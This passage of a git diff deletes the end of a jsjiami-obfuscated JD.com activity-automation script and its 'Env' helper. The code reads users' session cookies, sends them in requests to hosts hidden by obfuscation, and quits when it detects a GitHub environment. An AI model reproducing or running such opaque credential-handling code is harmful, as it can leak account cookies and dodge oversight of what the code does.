554','56Y[')])){for(let _0x375723 of $[_0xb3c9('555','RRYS')]){if(_0x1a8f91[_0xb3c9('556','W%VK')](_0x1a8f91[_0xb3c9('557','XZos')],_0x1a8f91[_0xb3c9('558','RRYS')])){$['db']+=_0x189d20[_0xb3c9('559','Xorc')][_0xb3c9('4cc','vGPn')];console[_0xb3c9('2e0','bu#e')](_0xb3c9('55a','oJ7R')+_0x189d20[_0xb3c9('1ce','Hi&L')][_0xb3c9('4cc','vGPn')]+_0xb3c9('55b','8Yzp'));}else{message+=_0x375723[_0x1a8f91[_0xb3c9('55c','Hi&L')]]+_0xb3c9('55d','px$D')+_0x375723[_0x1a8f91[_0xb3c9('55e','O^Ux')]]+'】\x0a';}}allMessage+=_0xb3c9('16e','%YG$')+$[_0xb3c9('55f','W%VK')]+$[_0xb3c9('560','#5oK')]+'\x0a'+message+(_0x1a8f91[_0xb3c9('561','56Y[')]($[_0xb3c9('562','Us6T')],cookiesArr[_0xb3c9('563','8Yzp')])?'\x0a\x0a':'');}else{_0x2962a7[_0xb3c9('564','#5oK')](_0x5d6c3b,_0x189d20);}}}}}}else{console[_0xb3c9('35','px$D')](_0xb3c9('565','eAka'));}}catch(_0x1ba920){$[_0xb3c9('566','eAka')](_0x1ba920,_0x59e9bd);}finally{_0x1a8f91[_0xb3c9('567','[XP5')](_0x5d6c3b);}}});});}function timeFormat(_0x3662b6){var _0x29b5b9={'peSGg':_0xb3c9('568','p8(G'),'hGxIH':_0xb3c9('569','UFS%'),'wRSlp':function(_0x2735f9,_0x5a32ae){return _0x2735f9(_0x5a32ae);},'wZlaK':_0xb3c9('56a','Us6T'),'zcvxV':function(_0x56b136,_0x3ab212){return _0x56b136!==_0x3ab212;},'IHXuQ':_0xb3c9('56b','vGPn'),'bYHqX':function(_0x6f462d,_0x364cfe){return _0x6f462d===_0x364cfe;},'GgQOq':_0xb3c9('56c','[XP5'),'SxSPr':function(_0x575545,_0x3de875){return _0x575545+_0x3de875;},'VpDFE':function(_0x4ed26e,_0x28bc8a){return _0x4ed26e+_0x28bc8a;},'zVYoC':function(_0x5687d3,_0x58e210){return _0x5687d3>=_0x58e210;},'LpoXN':function(_0x10a0e6,_0x400e8a){return _0x10a0e6+_0x400e8a;},'nRJoJ':function(_0x5c0c01,_0x34bd5d){return _0x5c0c01+_0x34bd5d;},'owTpB':function(_0xfb7862,_0x1ceafb){return _0xfb7862>=_0x1ceafb;},'PdGJM':function(_0x3f4a14,_0x3c200a){return _0x3f4a14+_0x3c200a;}};let _0x4a68d1;if(_0x3662b6){if(_0x29b5b9[_0xb3c9('56d','Hi&L')](_0x29b5b9[_0xb3c9('56e','USUq')],_0x29b5b9[_0xb3c9('56f','bu#e')])){cookiesArr=[$[_0xb3c9('570','12Q8')](_0x29b5b9[_0xb3c9('571','SI8%')]),$[_0xb3c9('572','Xorc')](_0x29b5b9[_0xb3c9('573','Tq0]')]),..._0x29b5b9[_0xb3c9('574','vGPn')](jsonParse,$[_0xb3c9('575','A)dp')](_0x29b5b9[_0xb3c9('576','0XYQ')])||'[]')[_0xb3c9('577','QPLX')](_0x229f5d=>_0x229f5d[_0xb3c9('578','D[D@')])][_0xb3c9('579','12Q8')](_0x1c9ae9=>!!_0x1c9ae9);}else{_0x4a68d1=new Date(_0x3662b6);}}else{if(_0x29b5b9[_0xb3c9('57a','A&sp')](_0x29b5b9[_0xb3c9('57b','eg1*')],_0x29b5b9[_0xb3c9('57c','eAka')])){_0x4a68d1=new Date();}else{$['db']+=data[_0xb3c9('57d','%YG$')][_0xb3c9('57e','A)dp')];console[_0xb3c9('3e6','D[D@')](_0xb3c9('57f','O^Ux')+data[_0xb3c9('580','lVDY')][_0xb3c9('581','oJ7R')]+_0xb3c9('582','sgNu'));}}return _0x29b5b9[_0xb3c9('583','xgMb')](_0x29b5b9[_0xb3c9('584','xgMb')](_0x29b5b9[_0xb3c9('585','A)dp')](_0x29b5b9[_0xb3c9('586','8^$1')](_0x29b5b9[_0xb3c9('587','D[D@')](_0x4a68d1[_0xb3c9('588','BA!&')](),0x1),0xa)?_0x29b5b9[_0xb3c9('589','W%VK')](_0x4a68d1[_0xb3c9('275','8Yzp')](),0x1):_0x29b5b9[_0xb3c9('58a','%YG$')]('0',_0x29b5b9[_0xb3c9('58b','UFS%')](_0x4a68d1[_0xb3c9('58c','KqoH')](),0x1)),'月'),_0x29b5b9[_0xb3c9('58d','FlxD')](_0x4a68d1[_0xb3c9('58e','QPLX')](),0xa)?_0x4a68d1[_0xb3c9('58f','wR@t')]():_0x29b5b9[_0xb3c9('590','px$D')]('0',_0x4a68d1[_0xb3c9('591','A&sp')]())),'日');}function taskPostUrl(_0x5318b4,_0x58ab28){var _0x38297f={'dsrJl':function(_0x2c6ef1,_0x3c2e1d){return _0x2c6ef1+_0x3c2e1d;},'TokZj':function(_0x445988,_0x463b4c){return _0x445988+_0x463b4c;},'VMfRo':_0xb3c9('592','j]ox'),'tpoCo':_0xb3c9('593','A)dp'),'tthhJ':_0xb3c9('594','sgNu'),'XBjwY':_0xb3c9('595','bu#e'),'RalZh':_0xb3c9('596','QPLX'),'YZMRc':_0xb3c9('597','j]ox')};if(!cookie[_0xb3c9('47','sgNu')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('11e','p8(G')](_0xb3c9('598','SI8%'));let _0x593004=cookie[_0xb3c9('234','8^$1')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x990c30=(+new Date())[_0xb3c9('599','IV4a')]();let _0x3975b4=$[_0xb3c9('59a','oJ7R')](_0x38297f[_0xb3c9('59b','bu#e')](_0x38297f[_0xb3c9('59c','pLk9')](_0x38297f[_0xb3c9('59d','Tq0]')](_0x593004,_0x38297f[_0xb3c9('59e','x1NV')]),_0x5318b4),_0x990c30));return{'url':''+JD_API_HOST+_0x5318b4,'body':_0x58ab28,'headers':{'Host':_0x38297f[_0xb3c9('59f','FlxD')],'pt-key':_0x593004,'Accept':_0x38297f[_0xb3c9('5a0','msFj')],'time':_0x990c30[_0xb3c9('5a1','vGPn')](),'source':'1','Referer':_0x38297f[_0xb3c9('5a2','wR@t')],'Content-Type':_0x38297f[_0xb3c9('5a3','8Yzp')],'sig':_0x3975b4,'User-Agent':_0x38297f[_0xb3c9('5a4','SI8%')]}};}function taskUrl(_0x49b047){var _0x6c71c9={'ohEmS':function(_0x3121c5,_0x1e6996){return _0x3121c5+_0x1e6996;},'NpzOe':_0xb3c9('5a5','*IUv'),'noNaJ':_0xb3c9('5a6','XZos'),'RPoXP':_0xb3c9('5a7','Tq0]'),'SdlTc':_0xb3c9('5a8','Us6T'),'UfkfD':_0xb3c9('5a9','Hi&L'),'ZHLRT':_0xb3c9('5aa','px$D')};if(!cookie[_0xb3c9('5ab','vGPn')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('f7','BA!&')](_0xb3c9('233','Hi&L'));let _0x141bc0=cookie[_0xb3c9('5ac','x1NV')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x3ed981=(+new Date())[_0xb3c9('235','Xorc')]();let _0x7d293d=$[_0xb3c9('5ad','lVDY')](_0x6c71c9[_0xb3c9('5ae','j]ox')](_0x6c71c9[_0xb3c9('5af','D[D@')](_0x6c71c9[_0xb3c9('5b0','QPLX')](_0x141bc0,_0x6c71c9[_0xb3c9('5b1',']q[h')]),_0x49b047),_0x3ed981));return{'url':''+JD_API_HOST+_0x49b047,'headers':{'Host':_0x6c71c9[_0xb3c9('5b2','SI8%')],'pt-key':_0x141bc0,'Accept':_0x6c71c9[_0xb3c9('5b3','Xorc')],'time':_0x3ed981[_0xb3c9('5b4','wR@t')](),'source':'1','Referer':_0x6c71c9[_0xb3c9('5b5','*IUv')],'Content-Type':_0x6c71c9[_0xb3c9('5b6','Hi&L')],'sig':_0x7d293d,'User-Agent':_0x6c71c9[_0xb3c9('5b7','wR@t')]}};}function TotalBean(){var _0x4c7571={'Grfxy':function(_0x4d7405,_0xd1ba24){return _0x4d7405(_0xd1ba24);},'zRttE':function(_0x117222,_0x10ff99){return _0x117222===_0x10ff99;},'uPOAM':function(_0x449800,_0x3e94bb){return _0x449800!==_0x3e94bb;},'ZkOna':_0xb3c9('5b8','%YG$'),'dqLNj':function(_0x5af69b,_0x3e329b){return _0x5af69b===_0x3e329b;},'PbQsY':_0xb3c9('5b9','QPLX'),'leaXs':_0xb3c9('5ba','eAka'),'JUjno':_0xb3c9('5bb','D[D@'),'bQqpU':_0xb3c9('5bc','Tq0]'),'MeJap':_0xb3c9('5bd','bu#e'),'wXneG':_0xb3c9('5be','Hi&L'),'QaijO':_0xb3c9('5bf','oJ7R'),'edewg':_0xb3c9('5c0','UFS%'),'VjGJh':_0xb3c9('5c1','SI8%'),'pVZVK':function(_0x3cd734){return _0x3cd734();},'NwDKD':_0xb3c9('5c2','msFj'),'rVsKQ':_0xb3c9('5c3','eg1*'),'YGlTA':_0xb3c9('5c4','D[D@'),'ygDPQ':_0xb3c9('5c5','vGPn'),'aShXn':_0xb3c9('5c6','8Yzp'),'BUlHN':_0xb3c9('5c7','D[D@'),'GXflR':_0xb3c9('5c8','*IUv'),'juFRh':_0xb3c9('5c9','0XYQ'),'RWDUI':_0xb3c9('5ca','x1NV')};return new Promise(async _0x35fcf9=>{var _0x44080f={'HnyaZ':function(_0xa6bc96,_0x243fb9){return _0x4c7571[_0xb3c9('5cb','bu#e')](_0xa6bc96,_0x243fb9);},'NMnLq':function(_0x44a294,_0xe87234){return _0x4c7571[_0xb3c9('5cc','IV4a')](_0x44a294,_0xe87234);},'Bbxjp':function(_0x3c7acd,_0x3482f0){return _0x4c7571[_0xb3c9('5cd','O^Ux')](_0x3c7acd,_0x3482f0);},'aIVVX':_0x4c7571[_0xb3c9('5ce','pLk9')],'PvirI':function(_0xacd1a,_0xd3507a){return _0x4c7571[_0xb3c9('5cf','vGPn')](_0xacd1a,_0xd3507a);},'SYyqu':_0x4c7571[_0xb3c9('5d0','vGPn')],'XzTLo':_0x4c7571[_0xb3c9('5d1','Us6T')],'nikoO':function(_0x593e85,_0x3694dd){return _0x4c7571[_0xb3c9('5d2','BA!&')](_0x593e85,_0x3694dd);},'cfjKF':_0x4c7571[_0xb3c9('5d3','*IUv')],'IFbTD':function(_0x4eb06d,_0x8cd742){return _0x4c7571[_0xb3c9('5d4','xgMb')](_0x4eb06d,_0x8cd742);},'RSMWg':_0x4c7571[_0xb3c9('5d5','#5oK')],'cNogN':_0x4c7571[_0xb3c9('5d6','oJ7R')],'GxIvK':_0x4c7571[_0xb3c9('5d7','UWcU')],'zlUuo':_0x4c7571[_0xb3c9('5d8','msFj')],'nebBZ':_0x4c7571[_0xb3c9('5d9','xgMb')],'tXviJ':function(_0x32a1b9,_0x32bbea){return _0x4c7571[_0xb3c9('5da','56Y[')](_0x32a1b9,_0x32bbea);},'aSaAV':_0x4c7571[_0xb3c9('5db','xgMb')],'yenBQ':function(_0x4735e){return _0x4c7571[_0xb3c9('5dc','QPLX')](_0x4735e);}};const _0x385ba1={'url':_0xb3c9('5dd','0XYQ'),'headers':{'Accept':_0x4c7571[_0xb3c9('5de','D[D@')],'Content-Type':_0x4c7571[_0xb3c9('5df','xgMb')],'Accept-Encoding':_0x4c7571[_0xb3c9('5e0',']q[h')],'Accept-Language':_0x4c7571[_0xb3c9('5e1','eAka')],'Connection':_0x4c7571[_0xb3c9('5e2','8Yzp')],'Cookie':cookie,'Referer':_0x4c7571[_0xb3c9('5e3',']q[h')],'User-Agent':$[_0xb3c9('5e4','ST6I')]()?process[_0xb3c9('5e5','*IUv')][_0xb3c9('5e6','Us6T')]?process[_0xb3c9('5e7','RRYS')][_0xb3c9('5e8','Xorc')]:_0x4c7571[_0xb3c9('5e9','sgNu')](require,_0x4c7571[_0xb3c9('5ea','A&sp')])[_0xb3c9('5eb','RRYS')]:$[_0xb3c9('5ec','XZos')](_0x4c7571[_0xb3c9('5ed','p8(G')])?$[_0xb3c9('5ee','RRYS')](_0x4c7571[_0xb3c9('5ef','*IUv')]):_0x4c7571[_0xb3c9('5f0','eg1*')]}};$[_0xb3c9('5f1','FlxD')](_0x385ba1,(_0x40eb44,_0x379cf3,_0x4825c0)=>{var _0x2cd191={'jXWQS':function(_0x2ef392,_0xe83111){return _0x44080f[_0xb3c9('5f2','x1NV')](_0x2ef392,_0xe83111);},'MJUqs':function(_0x10e182,_0x5aac6a){return _0x44080f[_0xb3c9('5f3','pLk9')](_0x10e182,_0x5aac6a);}};if(_0x44080f[_0xb3c9('5f4','8Yzp')](_0x44080f[_0xb3c9('5f5','A)dp')],_0x44080f[_0xb3c9('5f6','W%VK')])){console[_0xb3c9('5f7','FlxD')](''+JSON[_0xb3c9('5f8','eAka')](_0x40eb44));console[_0xb3c9('51d','*IUv')]($[_0xb3c9('6c','xgMb')]+_0xb3c9('5f9','XZos'));}else{try{if(_0x40eb44){if(_0x44080f[_0xb3c9('5fa','A&sp')](_0x44080f[_0xb3c9('5fb','54E@')],_0x44080f[_0xb3c9('5fc','UFS%')])){$[_0xb3c9('5fd','A)dp')](e,_0x379cf3);}else{console[_0xb3c9('35','px$D')](''+JSON[_0xb3c9('5fe','A&sp')](_0x40eb44));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('336','Xorc')]+_0xb3c9('5ff','KqoH'));}}else{if(_0x4825c0){_0x4825c0=JSON[_0xb3c9('600','A&sp')](_0x4825c0);if(_0x44080f[_0xb3c9('601','px$D')](_0x4825c0[_0x44080f[_0xb3c9('602','BA!&')]],0xd)){if(_0x44080f[_0xb3c9('603','xgMb')](_0x44080f[_0xb3c9('604','4&jl')],_0x44080f[_0xb3c9('605','SI8%')])){_0x2cd191[_0xb3c9('606','oJ7R')](_0x35fcf9,_0x4825c0);}else{$[_0xb3c9('607','Xorc')]=![];return;}}if(_0x44080f[_0xb3c9('608','D[D@')](_0x4825c0[_0x44080f[_0xb3c9('609','A)dp')]],0x0)){if(_0x44080f[_0xb3c9('60a','8^$1')](_0x44080f[_0xb3c9('60b','A&sp')],_0x44080f[_0xb3c9('60b','A&sp')])){$[_0xb3c9('60c','wR@t')]=_0x4825c0[_0x44080f[_0xb3c9('60d','A&sp')]][_0xb3c9('60e','%YG$')];}else{$[_0xb3c9('60f','7hNk')](e,_0x379cf3);}}else{if(_0x44080f[_0xb3c9('610','BA!&')](_0x44080f[_0xb3c9('611','56Y[')],_0x44080f[_0xb3c9('612','ST6I')])){$[_0xb3c9('2b6','p8(G')](e,_0x379cf3);}else{$[_0xb3c9('c7','sgNu')]=$[_0xb3c9('613','oJ7R')];}}}else{if(_0x44080f[_0xb3c9('614','12Q8')](_0x44080f[_0xb3c9('615','QPLX')],_0x44080f[_0xb3c9('616','p8(G')])){if(_0x2cd191[_0xb3c9('617','8Yzp')](safeGet,_0x4825c0)){_0x4825c0=JSON[_0xb3c9('618','O^Ux')](_0x4825c0);if(_0x2cd191[_0xb3c9('619','8^$1')](_0x4825c0[_0xb3c9('61a','FlxD')],0xc8)){$['db']+=_0x4825c0[_0xb3c9('3e4','xgMb')][_0xb3c9('61b','IV4a')];console[_0xb3c9('133','#5oK')](_0xb3c9('61c','#5oK')+_0x4825c0[_0xb3c9('61d','bu#e')][_0xb3c9('2ae','ST6I')]+_0xb3c9('61e','D[D@'));}else{console[_0xb3c9('327','lVDY')](_0xb3c9('61f','56Y[')+_0x4825c0[_0xb3c9('620','A)dp')]);}}}else{console[_0xb3c9('139','8Yzp')](_0xb3c9('621','vGPn'));}}}}catch(_0x270528){$[_0xb3c9('622','SI8%')](_0x270528,_0x379cf3);}finally{_0x44080f[_0xb3c9('623','4&jl')](_0x35fcf9);}}});});}function safeGet(_0x5b2a44){var _0x2f1e88={'QQZpe':function(_0x840dfb,_0x32950e){return _0x840dfb===_0x32950e;},'zTMOf':function(_0x1619ed,_0x5c902b){return _0x1619ed(_0x5c902b);},'ORBty':function(_0xe487cb,_0x98f530){return _0xe487cb!==_0x98f530;},'FeUEl':_0xb3c9('624','kKc['),'EUNcN':_0xb3c9('625','12Q8'),'IbkpP':function(_0xc46693,_0xe3fa43){return _0xc46693==_0xe3fa43;},'cPYtb':_0xb3c9('626','IV4a'),'Thboh':function(_0xc41ba3,_0x252ccd){return _0xc41ba3===_0x252ccd;},'lBAah':_0xb3c9('627','p8(G'),'cfynT':_0xb3c9('628','FlxD'),'AcDWa':_0xb3c9('629','Hi&L')};try{if(_0x2f1e88[_0xb3c9('62a','O^Ux')](_0x2f1e88[_0xb3c9('62b','[XP5')],_0x2f1e88[_0xb3c9('62c','msFj')])){if(_0x2f1e88[_0xb3c9('62d','A&sp')](typeof JSON[_0xb3c9('222','A)dp')](_0x5b2a44),_0x2f1e88[_0xb3c9('62e','7hNk')])){if(_0x2f1e88[_0xb3c9('62f','vGPn')](_0x2f1e88[_0xb3c9('630','#5oK')],_0x2f1e88[_0xb3c9('631','Xorc')])){return!![];}else{_0x5b2a44=JSON[_0xb3c9('484','pLk9')](_0x5b2a44);if(_0x2f1e88[_0xb3c9('632','KqoH')](_0x5b2a44[_0xb3c9('633','msFj')],0xc8)){$['db']+=_0x5b2a44[_0xb3c9('634','msFj')][_0xb3c9('635','Xorc')];console[_0xb3c9('133','#5oK')](_0xb3c9('636','4&jl')+_0x5b2a44[_0xb3c9('637','Tq0]')][_0xb3c9('638','j]ox')]+_0xb3c9('61e','D[D@'));}else{console[_0xb3c9('bb','UFS%')](_0xb3c9('639','vGPn')+_0x5b2a44[_0xb3c9('63a','KqoH')]);}}}}else{if(_0x2f1e88[_0xb3c9('63b','oJ7R')](safeGet,_0x5b2a44)){_0x5b2a44=JSON[_0xb3c9('63c','bu#e')](_0x5b2a44);console[_0xb3c9('11e','p8(G')](_0x5b2a44[_0xb3c9('63d','IV4a')]);}}}catch(_0x28636e){if(_0x2f1e88[_0xb3c9('63e','kKc[')](_0x2f1e88[_0xb3c9('63f','QPLX')],_0x2f1e88[_0xb3c9('640','pLk9')])){console[_0xb3c9('2a3','XZos')](_0x28636e);console[_0xb3c9('13','7hNk')](_0xb3c9('641','XZos'));return![];}else{if(_0x2f1e88[_0xb3c9('642','XZos')](safeGet,_0x5b2a44)){_0x5b2a44=JSON[_0xb3c9('222','A)dp')](_0x5b2a44);console[_0xb3c9('643','vGPn')](_0x5b2a44[_0xb3c9('644','[XP5')]);}}}}function jsonParse(_0x3d0e36){var _0x2b04ad={'XFWfB':function(_0x1ac8c4,_0x183693){return _0x1ac8c4==_0x183693;},'bSCwR':_0xb3c9('645','QPLX'),'CsAPh':function(_0x50f642,_0x11d265){return _0x50f642===_0x11d265;},'ZQDNG':_0xb3c9('646','px$D'),'VMDSM':_0xb3c9('647','BA!&')};if(_0x2b04ad[_0xb3c9('648','12Q8')](typeof _0x3d0e36,_0x2b04ad[_0xb3c9('649','54E@')])){try{if(_0x2b04ad[_0xb3c9('64a','7hNk')](_0x2b04ad[_0xb3c9('64b','KqoH')],_0x2b04ad[_0xb3c9('64c','RRYS')])){return JSON[_0xb3c9('64d','#5oK')](_0x3d0e36);}else{$[_0xb3c9('425','UFS%')](e,resp);}}catch(_0x18b164){console[_0xb3c9('4e','Hi&L')](_0x18b164);$[_0xb3c9('64e','USUq')]($[_0xb3c9('8b','oJ7R')],'',_0x2b04ad[_0xb3c9('64f',']q[h')]);return[];}}}function requireConfig(){var _0x463e22={'HiVVZ':function(_0x12cfa0){return _0x12cfa0();}};return new Promise(_0x3170c7=>{if($[_0xb3c9('650','W%VK')]()&&process[_0xb3c9('651','Us6T')][_0xb3c9('652','IV4a')]){exchangeFlag=process[_0xb3c9('653','0XYQ')][_0xb3c9('654','0XYQ')]||exchangeFlag;}_0x463e22[_0xb3c9('655','xgMb')](_0x3170c7);});};_0xodq='jsjiami.com.v6'; - -// prettier-ignore -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jxlhb.js b/activity/jd_jxlhb.js deleted file mode 100644 index 92db2a7..0000000 --- a/activity/jd_jxlhb.js +++ /dev/null @@ -1,529 +0,0 @@ -/* -京喜领88元红包 